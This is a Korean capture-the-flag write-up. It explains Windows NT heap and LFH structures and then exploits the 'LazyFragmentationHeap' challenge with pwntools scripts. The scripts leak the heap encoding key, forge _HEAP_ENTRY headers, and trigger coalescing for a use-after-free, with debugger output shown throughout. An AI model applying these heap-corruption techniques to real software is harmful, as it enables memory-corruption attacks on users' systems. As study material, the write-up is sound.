LocalInfo : 해당 SubSegment를 가리키는 _HEAP_LOCAL_SEGMENT_INFO 구조체의 시작주소를 가리킴
UserBlocks : 해당 SubSegment와 연결된 UserBlock의 시작주소를 가리킴
AggregateExchg : UserBlock에 남아있는 할당해제된 Heap chunk의 개수를 참조할 때 사용됨
BlockSize : UserBlock에 할당될 Heap chunk 크기를 보관하고 있으며, 0x10을 곱해야 실제 크기를 구할 수 있음
BlockCount : UserBlock에 할당되어 있는 Heap chunk의 개수를 보관하고 있음
SizeIndex : _HEAP_LOCAL_SEGMENT_INFO->BucketIndex와 같은 값을 보관하고 있음

3.8. _HEAP_USERDATA_HEADER

: UserBlock의 시작부분에 위치해 UserBlock의 header역할을 하는 구조체.
( _HEAP_SUBSEGMENT->UserBlocks )

SubSegment : 해당 UserBlock과 연결된 SubSegment의 시작주소를 가리킴
EncodedOffsets : Heap chunk header의 무결성을 검증할 때 사용되며, 아래와 같은 XOR 연산의 결과값이 보관되어 있음
```
(sizeof(_HEAP_USERDATA_HEADER)+8) | ((_HEAP_BUCKET->BlockUnits * 0x10) << 16) ^
pLFHKey ^
&_HEAP_USERBDATA_HEADER ^
&_LFH_HEAP
```
BusyBitmap : BusyBitmap->SizeOfBitMap은 _HEAP_SUBSEGMENT->BlockCount와 동일한 값을 가지고 있고, BusyBitmap->Buffer가 가리키는 bitmap( _HEAP_USERDATA_HEADER->BitmapData를 가리킴 )에서 Heap chunk의 할당여부를 확인할 수 있음
BitmapData : Heap chunk의 할당 여부를 확인하기 위한 8 bytes짜리 Bitmap 데이터를 가지고 있으며, 특정 index에 해당하는 Heap chunk가 할당되서 사용중이면 해당 index의 bit는 1( BUSY ), 할당해제되었거나 할당된 적이 없으면 0( FREE )으로 표기함

3.9. _INTERLOCK_SEQ

: 할당 혹은 할당해제된 Heap chunk의 개수를 구할 때 주로 참조하는 구조체.
( _HEAP_SUBSEGMENT->AggregateExchg )

Depth : 초기값으로 _HEAP_SUBSEGMENT->BlockCount와 동일한 값을 가지고 있으며 새로운 Heap chunk를 할당하면 1 감소하고 할당해제 하면 1 증가함

LFH와 관련된 구조체들 중에서 중요한 멤버들에 대해서만 간추려 정리했는데도 꽤 많은 시간이 필요했습니다.

Windows Heap을 처음 공부하는 입장에선 각각의 구조체들이 실제로 어떤 방식으로 사용되는지 좀 헷갈릴 수 있기 때문에, LFH가 관리하지 않는 일반 Heap chunk와 구분해 Heap 메모리 할당 그리고 할당해제 과정이 어떤식으로 동작하는지 아래와 같이 간략하게 정리했습니다.

3.10. Allocate and Free Non-LFH chunk

Allocate

Non-LFH chunk의 경우, 할당요청을 받은 Heap chunk의 크기에 따라 메모리 관리에 약간의 차이가 존재합니다.

size <= ( _HEAP->VirtualMemoryThreshold * 0x10 )

만약 요청받은 Heap chunk의 크기가 0x4000 이하라면 LFH가 활성화되어 있는지 검사한다.
요청받은 Heap chunk의 크기가 _HEAP->BlockIndex가 가리키는 _HEAP_LIST_LOOKUP의 ArraySize보다 큰지 확인하고, 만약 크다면 _HEAP_LIST_LOOKUP->ExtendedLookup이 가리키는 구조체의 ArraySize와 비교해가며 유효한 구조체를 찾는다.
_HEAP_LIST_LOOKUP->ListHint를 탐색하며 알맞는 크기의 Heap 메모리 영역을 찾아 반환해준다.

size > ( _HEAP->VirtualMemoryThreshold * 0x10 )

ZwAllocateVirtualMemory() 함수로 메모리를 할당받아 _HEAP->VirtualAllocdBlocks에 삽입한다.
( 위와 같은 방식으로 할당된 Heap chunk는 _HEAP_ENTRY 대신 _HEAP_VIRTUAL_ALLOC_ENTRY 구조체를 header로 사용함 )

Free

size <= ( _HEAP->VirtualMemoryThreshold * 0x10 )

_HEAP_ENTRY->UnusedBytes로 LFH가 관리하던 Heap chunk인지 검사한다.
이전 혹은 이후에 할당된 Heap chunk가 할당해제된 상태라면 할당해제할 해당 chunk와 합친 뒤 합친 크기를 새로 업데이트한다.
만약 합쳐진 Heap chunk가 _HEAP->FreeLists의 시작 혹은 끝부분에 삽입할 수 있다면 삽입하고, 안된다면 _HEAP_LIST_LOOKUP->ListHints에 삽입한다.
( glibc에서 발생하는 Unsafe Unlink 기법과 매우 유사한 형태의 공격이 가능함 )

size > ( _HEAP->VirtualMemoryThreshold * 0x10 )

Heap header의 무결성을 검사한 후, _HEAP->VirtualAllocdBlocks에서 해당 Heap chunk 주소를 제거한 뒤 ntdll!RtlpSecMemFreeVirtualMemory 함수로 할당해제한다.

3.11. Allocate and Free LFH chunk

Allocate

_LFH_HEAP->Buckets를 탐색하며 할당하고자 하는 크기에 맞는 Buckets의 SizeIndex를 구해 _LFH_HEAP->SegmentInfoArrays 배열의 index로 시용해 알맞는 SubSegment를 구한다.
_HEAP_LOCAL_SEGMENT_INFO->ActiveSubsegment가 가리키는 SubSegment의 Depth를 읽어들여 할당가능한 Heap chunk가 있는지 확인하고, 만약 없다면 _HEAP_LOCAL_SEGMENT_INFO->CachedItems에서 새로운 SubSegment를 가져온다.
_HEAP_LOCAL_SEGMENT_INFO->ActiveSubsegment->AggregateExchg->Depth를 1 감소시킨다.
ntdll!RtlpLowFragHeapRandomData에서 임의의 위치에 있는 난수 1 byte를 읽어들여 Heap chunk의 index값으로 사용한다.
_HEAP_USERDATA_HEADER->BusyBitmap이 가리키는 Bitmap의 해당 index에 Heap chunk를 할당할 수 있는지 확인하고 만약 가능하다면 할당한 뒤 주소를 반환해주고 아니면 인접한 다른 index를 탐색한다.

Free

header를 디코딩해 _HEAP_USERDATA_HEADER와 _HEAP_SUBSEGMENT의 주소를 구한다.
_HEAP_ENTRY->UnusedBytes의 값을 0x80으로 수정한다.
Bitmap에서 할당해제할 Heap chunk와 index가 같은 bit를 0으로 수정하고, _HEAP_SUBSEGMENT->AggregateExchg->Depth를 1 증가시킨다.

LFH가 활성화되면 보안적인 관점에서 가장 눈에 띄는 차이점은 Heap chunk간의 위치가 Non-Deterministic, 쉽게 말해 내가 할당요청을 보낸 Heap chunk가 어디에 위치할 지 모른단 점입니다.

보통 우리에게 익숙한 glibc에서의 Heap 익스플로잇 기법들은 대부분 같은 크기인 Heap chunk들간의 크기와 서로간의 간격을 알 수 있어 뒤에 위치한 Heap chunk의 header나 ( 만약 뒤에 있는 Heap chunk가 할당해제된 상태면 )FD와 BK를 조작하거나 Top chunk를 조작하는 형태로 이루어집니다.

LFH가 비활성화된 Heap chunk라면 앞서 말한바와 같이 이러한 기법을 응용해 사용할 수도 있겠지만, LFH는 같은 크기로 할당된 Heap chunk들이 서로 어디에 위치해 있는지 알 수 없기 때문에 약간의 어려움이 있습니다.

Saar Amar이 전에 Heap chunk를 할당하기 위해 ntdll!RtlpLowFragHeapRandomData에서 랜덤한 index를 읽어들일 때 해당 데이터가 한번 설정된 후 계속 고정되어 있고, 데이터를 읽어들이는 순서가 순차적이라는 점을 이용해 LFH의 Non-Deterministic한 특징을 우회할 수 있는 취약점을 찾은 적은 있지만 이 취약점은 Windows 10 Version 16179부터 패치되었기 때문에 아래와 같이 취약점이 발생하지 않습니다.

이 부분은 간단한 테스트 코드로 확인해 보실 수 있습니다.

#include 
#include 

#define SIZE 0x80

int main(void) {
	LPVOID *ptr_arr[0x112];
	int i;
	HANDLE hHeap;

	hHeap = HeapCreate(0, 0, 0);

	// activate LFH
	for(i = 0; i < 0x12; i++)
		ptr_arr[i] = HeapAlloc(hHeap, 8, SIZE);

	printf("[+] create BP print hook NOW\n");
	getchar();

	for(i = 0x12; i < 0x112; i++)
		ptr_arr[i] = HeapAlloc(hHeap, 8, SIZE);

	printf("[+] All allocated heap chunks are going to be de-allocated");
	getchar();

	for(i = 0; i < 0x112; i++)
		HeapFree(hHeap, 0, ptr_arr[i]);

    HeapDestroy(hHeap);
    return 0;
}

/*
ntdll.dll version == 10.0.18362.418

0:001> bp ntdll+3C4AD ".printf \"currIdx=0x%p\\r\\n\", @rax; g"
0:001> g
currIdx=0x0000000000000010
currIdx=0x0000000000000011
currIdx=0x0000000000000012
currIdx=0x0000000000000013
currIdx=0x0000000000000014
currIdx=0x0000000000000015
currIdx=0x0000000000000016
currIdx=0x0000000000000017
currIdx=0x0000000000000018
currIdx=0x0000000000000019
currIdx=0x000000000000001a
currIdx=0x000000000000001b
currIdx=0x000000000000001c
currIdx=0x000000000000001d
currIdx=0x000000000000001e
currIdx=0x000000000000001f
currIdx=0x0000000000000020
currIdx=0x0000000000000021
currIdx=0x0000000000000022
currIdx=0x0000000000000023
currIdx=0x0000000000000024
currIdx=0x0000000000000025
currIdx=0x0000000000000026
currIdx=0x0000000000000027
currIdx=0x0000000000000028
currIdx=0x0000000000000029
currIdx=0x000000000000002a
currIdx=0x000000000000002c
currIdx=0x000000000000002d
currIdx=0x000000000000002e
currIdx=0x000000000000002f
currIdx=0x0000000000000030
currIdx=0x0000000000000031
currIdx=0x0000000000000032
currIdx=0x0000000000000033
currIdx=0x0000000000000034
currIdx=0x0000000000000035
currIdx=0x0000000000000036
currIdx=0x0000000000000037
currIdx=0x0000000000000038
currIdx=0x0000000000000039
currIdx=0x000000000000003a
currIdx=0x000000000000003b
currIdx=0x000000000000003c
currIdx=0x000000000000003d
currIdx=0x000000000000003e
currIdx=0x000000000000003f
currIdx=0x0000000000000040
currIdx=0x0000000000000041
currIdx=0x0000000000000042
currIdx=0x0000000000000043
currIdx=0x0000000000000044
currIdx=0x0000000000000045
currIdx=0x0000000000000046
currIdx=0x0000000000000047
currIdx=0x0000000000000048
currIdx=0x0000000000000049
currIdx=0x000000000000004a
currIdx=0x000000000000004b
currIdx=0x000000000000004c
currIdx=0x000000000000004d
currIdx=0x000000000000004e
currIdx=0x000000000000004f
currIdx=0x0000000000000050
currIdx=0x0000000000000051
currIdx=0x0000000000000052
currIdx=0x0000000000000053
currIdx=0x0000000000000054
currIdx=0x0000000000000055
currIdx=0x0000000000000056
currIdx=0x0000000000000057
currIdx=0x0000000000000058
currIdx=0x0000000000000059
currIdx=0x000000000000005a
currIdx=0x000000000000005b
currIdx=0x000000000000005c
currIdx=0x000000000000005d
currIdx=0x000000000000005e
currIdx=0x000000000000005f
currIdx=0x0000000000000060
currIdx=0x0000000000000061
currIdx=0x0000000000000062
currIdx=0x0000000000000063
currIdx=0x0000000000000065
currIdx=0x0000000000000066
currIdx=0x0000000000000067
currIdx=0x0000000000000068
currIdx=0x0000000000000069
currIdx=0x000000000000006a
currIdx=0x000000000000006b
currIdx=0x000000000000006c
currIdx=0x000000000000006d
currIdx=0x000000000000006e
currIdx=0x000000000000006f
currIdx=0x0000000000000070
currIdx=0x0000000000000071
currIdx=0x0000000000000072
currIdx=0x0000000000000073
currIdx=0x0000000000000074
currIdx=0x0000000000000075
currIdx=0x0000000000000076
currIdx=0x0000000000000077
currIdx=0x0000000000000078
currIdx=0x0000000000000079
currIdx=0x000000000000007a
currIdx=0x000000000000007b
currIdx=0x000000000000007c
currIdx=0x000000000000007d
currIdx=0x000000000000007e
currIdx=0x000000000000007f
currIdx=0x0000000000000080
currIdx=0x0000000000000081
currIdx=0x0000000000000082
currIdx=0x0000000000000083
currIdx=0x0000000000000084
currIdx=0x0000000000000085
currIdx=0x0000000000000086
currIdx=0x0000000000000087
currIdx=0x0000000000000088
currIdx=0x0000000000000089
currIdx=0x000000000000008a
currIdx=0x000000000000008b
currIdx=0x000000000000008c
currIdx=0x000000000000008d
currIdx=0x000000000000008e
currIdx=0x000000000000008f
currIdx=0x0000000000000090
currIdx=0x0000000000000091
currIdx=0x0000000000000092
currIdx=0x0000000000000093
currIdx=0x0000000000000094
currIdx=0x0000000000000095
currIdx=0x0000000000000096
currIdx=0x0000000000000097
currIdx=0x0000000000000098
currIdx=0x0000000000000099
currIdx=0x000000000000009a
currIdx=0x000000000000009b
currIdx=0x000000000000009c
currIdx=0x000000000000009e
currIdx=0x000000000000009f
currIdx=0x00000000000000a0
currIdx=0x00000000000000a1
currIdx=0x00000000000000a2
currIdx=0x00000000000000a3
currIdx=0x00000000000000a4
currIdx=0x00000000000000a5
currIdx=0x00000000000000a6
currIdx=0x00000000000000a7
currIdx=0x00000000000000a8
currIdx=0x00000000000000a9
currIdx=0x00000000000000aa
currIdx=0x00000000000000ab
currIdx=0x00000000000000ac
currIdx=0x00000000000000ad
currIdx=0x00000000000000ae
currIdx=0x00000000000000af
currIdx=0x00000000000000b0
currIdx=0x00000000000000b1
currIdx=0x00000000000000b2
currIdx=0x00000000000000b3
currIdx=0x00000000000000b4
currIdx=0x00000000000000b5
currIdx=0x00000000000000b6
currIdx=0x00000000000000b7
currIdx=0x00000000000000b8
currIdx=0x00000000000000b9
currIdx=0x00000000000000ba
currIdx=0x00000000000000bb
currIdx=0x00000000000000bc
currIdx=0x00000000000000bd
currIdx=0x00000000000000be
currIdx=0x00000000000000bf
currIdx=0x00000000000000c0
currIdx=0x00000000000000c1
currIdx=0x00000000000000c2
currIdx=0x00000000000000c3
currIdx=0x00000000000000c4
currIdx=0x00000000000000c5
currIdx=0x00000000000000c6
currIdx=0x00000000000000c7
currIdx=0x00000000000000c8
currIdx=0x00000000000000c9
currIdx=0x00000000000000ca
currIdx=0x00000000000000cb
currIdx=0x00000000000000cc
currIdx=0x00000000000000cd
currIdx=0x00000000000000ce
currIdx=0x00000000000000cf
currIdx=0x00000000000000d0
currIdx=0x00000000000000d1
currIdx=0x00000000000000d2
currIdx=0x00000000000000d3
currIdx=0x00000000000000d4
currIdx=0x00000000000000d5
currIdx=0x00000000000000d7
currIdx=0x00000000000000d8
currIdx=0x00000000000000d9
currIdx=0x00000000000000da
currIdx=0x00000000000000db
currIdx=0x00000000000000dc
currIdx=0x00000000000000dd
currIdx=0x00000000000000de
currIdx=0x00000000000000df
currIdx=0x00000000000000e0
currIdx=0x00000000000000e1
currIdx=0x00000000000000e2
currIdx=0x00000000000000e3
currIdx=0x00000000000000e4
currIdx=0x00000000000000e5
currIdx=0x00000000000000e6
currIdx=0x00000000000000e7
currIdx=0x00000000000000e8
currIdx=0x00000000000000e9
currIdx=0x00000000000000ea
currIdx=0x00000000000000eb
currIdx=0x00000000000000ec
currIdx=0x00000000000000ed
currIdx=0x00000000000000ee
currIdx=0x00000000000000ef
currIdx=0x00000000000000f0
currIdx=0x00000000000000f1
currIdx=0x00000000000000f2
currIdx=0x00000000000000f3
currIdx=0x00000000000000f4
currIdx=0x00000000000000f5
currIdx=0x00000000000000f6
currIdx=0x00000000000000f7
currIdx=0x00000000000000f8
currIdx=0x00000000000000f9
currIdx=0x00000000000000fa
currIdx=0x00000000000000fb
currIdx=0x00000000000000fc
currIdx=0x00000000000000fd
currIdx=0x00000000000000fe
currIdx=0x00000000000000ff
currIdx=0x0000000000000000
currIdx=0x0000000000000001
currIdx=0x0000000000000002
currIdx=0x0000000000000003
currIdx=0x0000000000000067 <--- here, @AmarSaar's vuln has been mitigated
currIdx=0x0000000000000068
currIdx=0x0000000000000069
currIdx=0x000000000000006a
currIdx=0x000000000000006b
currIdx=0x000000000000006c
currIdx=0x000000000000006d
currIdx=0x000000000000006e
currIdx=0x000000000000006f
currIdx=0x0000000000000070
currIdx=0x0000000000000071
currIdx=0x0000000000000073
currIdx=0x0000000000000074
currIdx=0x0000000000000075
currIdx=0x0000000000000076
currIdx=0x0000000000000077
*/

제가 LFH에 대해 학습한 내용은 여기까지입니다. 이제 문제파일을 분석해보겠습니다.

4. 익스플로잇

아래와 같이 MENU 형식으로 입력을 받아 allocate, free, edit와 같은 동작을 수행할 수 있는 전형적인 Heap 문제로 보입니다.

*****************************
    LazyFragmentationHeap
*****************************
 1. Allocate buffer for File  // alloc
 2. Edit File content         // edit
 3. Show content              // show
 4. Clean content             // free
 5. LazyFileHandler
 6. Exit
****************************

처음 문제파일을 시작하면 VirtualAlloc() 함수로 0xBEEFDAD0000 주소에 R/W 권한만 있는 메모리를 할당해 아래와 같은 40 bytes 크기의 구조체를 관리하는데 사용합니다.

struct lazy_chunk {
    ULONGLONG magic1;    // 0x0000DDAABEEF1ACD      | offset 0
    ULONGLONG size;      // 0x80 <= size <= 0x2000  | offset 8
    ULONGLONG chunk_id;  // 0xDDAA                  | offset 16
    ULONGLONG magic2;    // 0x0000DDAABEEF1ACD      | offset 24
    BYTE *heap_mem;      // calloc(1, size)         | offset 32
}

처음 분석하고 나서 취약점이 있다고 의심이 간 부분은 2. Edit File content를 선택하면 실행하는 아래의 코드부분이었습니다.

case 2i64:
// skip for brevity...
heap_mem_len = -1i64;
heam_mem = BEEFDAD0000_mem[idx2_1].heap_mem;
heap_size = BEEFDAD0000_mem[idx2_1].size;
do
  ++heap_mem_len;
while ( heam_mem[heap_mem_len] );
if ( heap_mem_len > heap_size && BEEFDAD0000_mem[idx2_1].magic2 == 0xDDAABEEF1ACDi64 )
{  // if magic2 is not corrupted, heap_size = heap_mem_len...OOB?
  heap_size = -1i64;
  do
    ++heap_size;
  while ( heam_mem[heap_size] );
}

if ( read(0, heam_mem, heap_size) <= 0 ) // potential OOB write
// skip for brevity...

주석으로 달아놓은 설명처럼 heap_mem_len을 이용한 OOB write가 가능해 보입니다.

3. Show content에도 아래와 같이 OOB read가 가능해보이는 코드가 있었습니다.

case 3i64:
    // skip for brevity...
    if ( !BEEFDAD0000_mem[chunk_cnt].heap_mem )
        goto LABEL_59;
    if ( BEEFDAD0000_mem[chunk_cnt].magic1 != 0xDDAABEEF1ACDi64 )
        goto LABEL_59;
    v26 = BEEFDAD0000_mem[chunk_cnt].magic2;
    if ( v26 != 0xDDAABEEF1ACDi64 && v26 != 0xFACE6DA61A35C767i64 )
        goto LABEL_59;

    // potential OOB read, possible to leak _HEAP_ENTRY data
    printf("Content: %s\n", BEEFDAD0000_mem[chunk_cnt].heap_mem); 
    // skip for brevity...

그래서 OOB read로 뒤에 위치한 heap chunk의 ( _HEAP->Encoding로 인코딩된 ) header를 leak할 수 있는 size들을 찾기 위해 아래와 같이 Brute-force했습니다.

from pwn import *

# context.log_level = "debug"

# HOST = "192.168.56.102" # VirtualBox Host-Only Adapter
HOST = "192.168.0.18" # VirtualBox Bridge 
PORT = 6677

hi = None
sla = None

def alloc(chunk_id, size):
	sla("Your choice: ", str(1))
 	sla("Size:", str(size))
	sla("ID:", str(chunk_id))

def edit(chunk_id, val, need_newline=True):
	sla("Your choice: ", str(2))
	sla("ID:", str(chunk_id))
	if need_newline:
		sla("Content:", val)
	else:
		hi.sendafter("Content:", val)

def show(chunk_id):
	sla("Your choice: ", str(3))
	sla("ID:", str(chunk_id))
	return hi.recvline().strip().split("Content: ")[-1]

def free(chunk_id):
	sla("Your choice: ", str(4))
	sla("ID:", str(chunk_id))

def open_file():
	sla("Your choice: ", str(5))
	sla("Your choice: ", str(1))
	sla("Your choice: ", str(3))

def read_file(chunk_id, size):
	sla("Your choice: ", str(5))
	sla("Your choice: ", str(2))
	sla("ID:", str(chunk_id))
 	sla("Size:", str(size))
	sla("Your choice: ", str(3))

cnt = 0
hi = remote(HOST, PORT)
sla = hi.sendlineafter
for i in range(0x80, 0x2000, 0x8):
	if cnt == 10: # only 10 heap chunks can be allocated
		context.log_level = "error"
		sla("Your choice: ", str(6))
		hi.close()
		hi = remote(HOST, PORT)
		sla = hi.sendlineafter
		cnt = 0
		context.log_level = "info"

	alloc(i, i)
	edit(i, "A" * i)
	leak = show(i)[i:]
	if leak != "":
		leak = u64(leak.ljust(8, p8(0)))
		log.info("size 0x%04x can be usable to info leak( 0x%016x )" % (i, leak))

	cnt += 1

hi.close()

'''
[+] Opening connection to 192.168.0.18 on port 6677: Done
[*] size 0x0088 can be usable to info leak( 0x00005de64b3b5de3 )
[*] size 0x0098 can be usable to info leak( 0x00005de54b3b5de3 )
[*] size 0x00a8 can be usable to info leak( 0x00005de44b3b5de3 )
[*] size 0x00b8 can be usable to info leak( 0x00005de34c3b5de4 )
[*] size 0x00c8 can be usable to info leak( 0x00005de24c3b5de4 )
[*] size 0x00d8 can be usable to info leak( 0x00002e9102b2a6f5 )
[*] size 0x00e8 can be usable to info leak( 0x00002e9012b2a6e5 )
[*] size 0x00f8 can be usable to info leak( 0x00002e8f02b2a6f5 )
[*] size 0x0108 can be usable to info leak( 0x00002e8e07b2a6f0 )
[*] size 0x0118 can be usable to info leak( 0x00002e8de5b3a613 )
[*] size 0x0128 can be usable to info leak( 0x0000ceb77fd0cded )
[*] size 0x0138 can be usable to info leak( 0x0000ceb027d0cdb5 )
[*] size 0x0148 can be usable to info leak( 0x0000ceb10dd0cd9f )
[*] size 0x0158 can be usable to info leak( 0x0000ceb2f9d0cd6b )
[*] size 0x0168 can be usable to info leak( 0x0000ceb3abd0cd39 )
[*] size 0x0178 can be usable to info leak( 0x00001fb485bbdffe )
[*] size 0x0188 can be usable to info leak( 0x00001fb5fbbbdf80 )
[*] size 0x0198 can be usable to info leak( 0x00001fb62fbbdf54 )
[*] size 0x01a8 can be usable to info leak( 0x00001fb761bbdf1a )
[*] size 0x01b8 can be usable to info leak( 0x00001fb059bbdf22 )
[*] size 0x01c8 can be usable to info leak( 0x0000b3a2b2d6edd0 )
[*] size 0x01d8 can be usable to info leak( 0x0000b3a1eed6ed8c )
[*] size 0x01e8 can be usable to info leak( 0x0000b3a028d6ed4a )
...
'''

디코딩된 header의 값은 항상 고정되어 있기 때문에 이를 이용해 _HEAP->Encoding 값을 leak할 수 있습니다.

# skip for brevity...

SIZE = 0xC8    # yes, I intend korean slang
alloc(1, SIZE)
edit(1, "A" * SIZE)
heap_encod = u64(show(1)[SIZE:] + "\x00\x10") ^ 0x1000000d02010003
log.info("_HEAP->Encoding = 0x%016x" % heap_encod)
pause()

'''
$ python ex.py
[+] Opening connection to 192.168.0.18 on port 6677: Done
[*] _HEAP->Encoding = 0x0000f300f8d50db2
[*] Paused (press any to continue)
....
0:001> dqs beefdad0000 l5
00000bee`fdad0000  0000ddaa`beef1acd
00000bee`fdad0008  00000000`000000c8
00000bee`fdad0010  00000000`00000001
00000bee`fdad0018  face6da6`1a35c767
00000bee`fdad0020  000001e5`30874370
0:001> !heap -p -a 000001e5`30874370
    address 000001e530874370 found in
    _HEAP @ 1e530870000
              HEAP_ENTRY Size Prev Flags            UserPtr UserSize - state
        000001e530874360 000d 0000  [00]   000001e530874370    000c8 - (busy)
          unknown!noop

0:001> dqs 1e530870000+80 l2
000001e5`30870080  00000000`00000000
000001e5`30870088  0000f300`f8d50db2
'''

` 1. Allocate buffer for File`로 할당한 Heap chunk들은 LFH로 관리되지 않기 때문에, _HEAP->Encoding만 알고 있다면 OOB write 취약점을 사용해 header를 조작할 수 있습니다.

이제 서로 인접한 heap chunk 2개를 할당해 header를 조작해줘야 하는데, 정확히 어떤 크기로 할당해줘야 서로 인접하게 할당되는지 알 수 없어 이부분도 header가 leak되는 걸 기준삼아 아래와 같이 Brute-Force해서 찾았습니다.

# skip for brevity...

# this takes too many times
# modify the Brute-Force range to use your instinct
for i in range(0x80, 0x2000, 8):
	log.info("i = 0x%04x" % i)
	for j in range(0x80, 0x2000, 8*8):
		log.info("j = 0x%04x" % j)
		alloc(1, SIZE)
		alloc(2, i)
		edit(2, "A" * i)
		for k in range(8):
			tmp_sz = j + (8*k)
			alloc(3+k, tmp_sz)
			leak = show(2)[i:]
			if leak != "":
				log.info("chunk1 size = 0x%x, chunk2 size = 0x%x" % (i, tmp_sz))
				break

		context.log_level = "error"
		sla("Your choice: ", str(6))
		hi.close()
		hi = remote(HOST, PORT)
		sla = hi.sendlineafter
		context.log_level = "info"

'''
$ python ex.py
[+] Opening connection to 192.168.0.18 on port 6677: Done
[*] i = 0x0080
[*] j = 0x0080
[*] j = 0x00C0
[*] j = 0x0100
[*] j = 0x0140
....
[*] chunk1 size = 0x268, chunk2 size = 0x200
....
'''

이제 어떻게 크기를 할당해야 서로 인접한 chunk를 할당할 수 있는지 알았으니, 5. LazyFileHandler로 magic.txt에서 읽어들인 값을 채워넣어 중간에 null-byte가 없게 한 뒤, OOB write 취약점을 사용해 header를 조작할 수 있습니다.

# skip for brevity...

alloc(1, SIZE)
edit(1, "A" * SIZE)
heap_encod = u64(show(1)[SIZE:] + "\x00\x10") ^ 0x1000000d02010003
log.info("_HEAP->Encoding = 0x%016x" % heap_encod)
alloc(2, 0x268)
alloc(3, 0x200)

fake_entry = 0x10000027c80101c8 ^ heap_encod
'''
0x10000027c80101c8
   +0x008 Size             : 0x1c8
   +0x00a Flags            : 0x1 ''
   +0x00b SmallTagIndex    : 0xc8 ''
   +0x00c PreviousSize     : 0x27
   +0x00e SegmentOffset    : 0 ''
   +0x00e LFHFlags         : 0 ''
   +0x00f UnusedBytes      : 0x10 ''
'''
log.info("fake XOR'ed _HEAP_ENTRY = 0x%016x" % fake_entry)

open_file()
read_file(2, 0x268)
edit(2, "A" * 0x268 + p64(fake_entry)[:6], False)
pause()

'''
0:001> dqs beefdad0000 lf
00000bee`fdad0000  0000ddaa`beef1acd
00000bee`fdad0008  00000000`000000c8
00000bee`fdad0010  00000000`00000001
00000bee`fdad0018  face6da6`1a35c767
00000bee`fdad0020  00000165`a3ed4370

00000bee`fdad0028  0000ddaa`beef1acd
00000bee`fdad0030  00000000`00000268
00000bee`fdad0038  00000000`00000002
00000bee`fdad0040  face6da6`1a35c767
00000bee`fdad0048  00000165`a3edff40

00000bee`fdad0050  0000ddaa`beef1acd
00000bee`fdad0058  00000000`00000200
00000bee`fdad0060  00000000`00000003
00000bee`fdad0068  0000ddaa`beef1acd
00000bee`fdad0070  00000165`a3ee01b0

0:001> !heap -p -a 00000165`a3ee01b0
    address 00000165a3ee01b0 found in
    _HEAP @ 165a3ed0000
              HEAP_ENTRY Size Prev Flags            UserPtr UserSize - state
        00000165a3ee01a0 01c8 0000  [00]   00000165a3ee01b0    01c70 - (busy)
'''

이제 이 취약점을 어떻게 사용할 수 있을지 고민해봐야 합니다.

지금까지 찾아낸 OOB 취약점을 이용해서는 Heap chunk만 조작할 수 있기 때문에, 3.10. Allocate and Free Non-LFH chunk에서 설명한 것처럼 Non-LFH chunk의 경우 할당해제시 인접한 Heap chunk를 탐색하며 병합( coalesce )처리한다는 원리를 이용해볼 수 있습니다.

그렇기 때문에 OOB write로 조작한 size의 범위안에 다른 Heap chunk가 있다면 그 chunk도 같이 할당해제되서 UAF가 발생해 아래처럼 Heap 주소를 leak할 수 있습니다.

# skip for brevity...

alloc(1, SIZE)
edit(1, "A" * SIZE)
heap_encod = u64(show(1)[SIZE:] + "\x00\x10") ^ 0x1000000d02010003
log.info("_HEAP->Encoding = 0x%016x" % heap_encod)
alloc(2, 0x268)
alloc(3, 0x200)

fake_entry = 0x10000027c80101c8 ^ heap_encod
'''
0x10000027c80101c8
   +0x008 Size             : 0x1c8
   +0x00a Flags            : 0x1 ''
   +0x00b SmallTagIndex    : 0xc8 ''
   +0x008 SubSegmentCode   : 0xc80101c8
   +0x00c PreviousSize     : 0x27
   +0x00e SegmentOffset    : 0 ''
   +0x00e LFHFlags         : 0 ''
   +0x00f UnusedBytes      : 0x10 ''
'''
log.info("fake XOR'ed _HEAP_ENTRY = 0x%016x" % fake_entry)

alloc(4, 0x1c80 -  # fake chunk size 
         0x20   -  # sizeof(_HEAP_ENTRY) * 2
		 0x200     # original size of overwritten chunk
) 

open_file()
read_file(2, 0x268)
edit(2, "A" * 0x268 + p64(fake_entry)[:6], False)

free(3)         # free coalesce mechanism also free'ing chunk 4
alloc(3, 0x200) # set Flink and Blink at chunk 4

heap_leak = u64(show(4)[:8].ljust(8, p8(0)))
log.info("leaked heap addr = 0x%016x" % heap_leak)
pause()

'''
[+] Opening connection to 192.168.0.18 on port 6677: Done
[*] _HEAP->Encoding = 0x0000d60f1a72815a
[*] fake XOR'ed _HEAP_ENTRY = 0x1000d628d2738092
[*] leaked heap addr = 0x000002478ae70150
[*] Paused (press any to continue)
....
0:001> dqs beefdad0000 l14
....
00000bee`fdad0078  0000ddaa`beef1acd
00000bee`fdad0080  00000000`00001a60
00000bee`fdad0088  00000000`00000004
00000bee`fdad0090  0000ddaa`beef1acd
00000bee`fdad0098  00000247`8ae803c0
0:001> dqs 247`8ae803c0 l2
00000247`8ae803c0  00000247`8ae70150
00000247`8ae803c8  00000247`8ae82e40
0:001> !heap
        Heap Address      NT/Segment Heap

         2478ae70000              NT Heap
         2478ac10000              NT Heap
         2478b0a0000              NT Heap
'''

leak된 heap 주소의 offset이 항상 0x150( _HEAP->FreeLists )으로 고정되어 있기 때문에 Heap chunk들을 관리하는 _HEAP 구조체의 주소를 안정적으로 구할 수 있습니다.

분석하다 알게된 신기한 사실 중 하나는 5. LazyFileHandler에서 1. ReadFile로 magic.txt에 대한 FILE 구조체를 생성하면 해당 구조체가 LFH가 활성화된 Heap 영역에 할당된다는 점입니다.

0:001> dqs lazyfragmentationheap+5628 l1
00007ff6`521f5628  000001b7`d069a8b0

0:001> !heap -i 000001b7`d069a8b0-10
Detailed information for block entry 000001b7d069a8a0
Assumed heap       : 0x000001b7d0690000 (Use !heap -i NewHeapHandle to change)
Header content     : 0xE76D0D32 0x88000D43
Block flags        : 0x1 LFH (busy )
Total block size   : 0x6 units (0x60 bytes)
Requested size     : 0x58 bytes (unused 0x8 bytes)
Subsegment         : 0x000001b7d069bb90

LFH는 _HEAP_SUBSEGMENT->BlockCount보다 많은 개수의 Heap chunk를 생성하게 되면 새로운 UserBlock과 SubSegment를 할당해 사용합니다. 이러한 원리를 이용해 LFH가 UAF로 접근할 수 있는 chunk 4를 사용하게 만든다면 아래와 같이 FILE 구조체를 조작할 수 있습니다.

# skip for brevity...

alloc(1, SIZE)
edit(1, "A" * SIZE)
try:
	heap_encod = u64(show(1)[SIZE:] + "\x00\x10") ^ 0x1000000d02010003
except struct.error:
	log.error("_HEAP_ENTRY not leaked")
	sys.exit(-1)

log.info("_HEAP->Encoding = 0x%016x" % heap_encod)
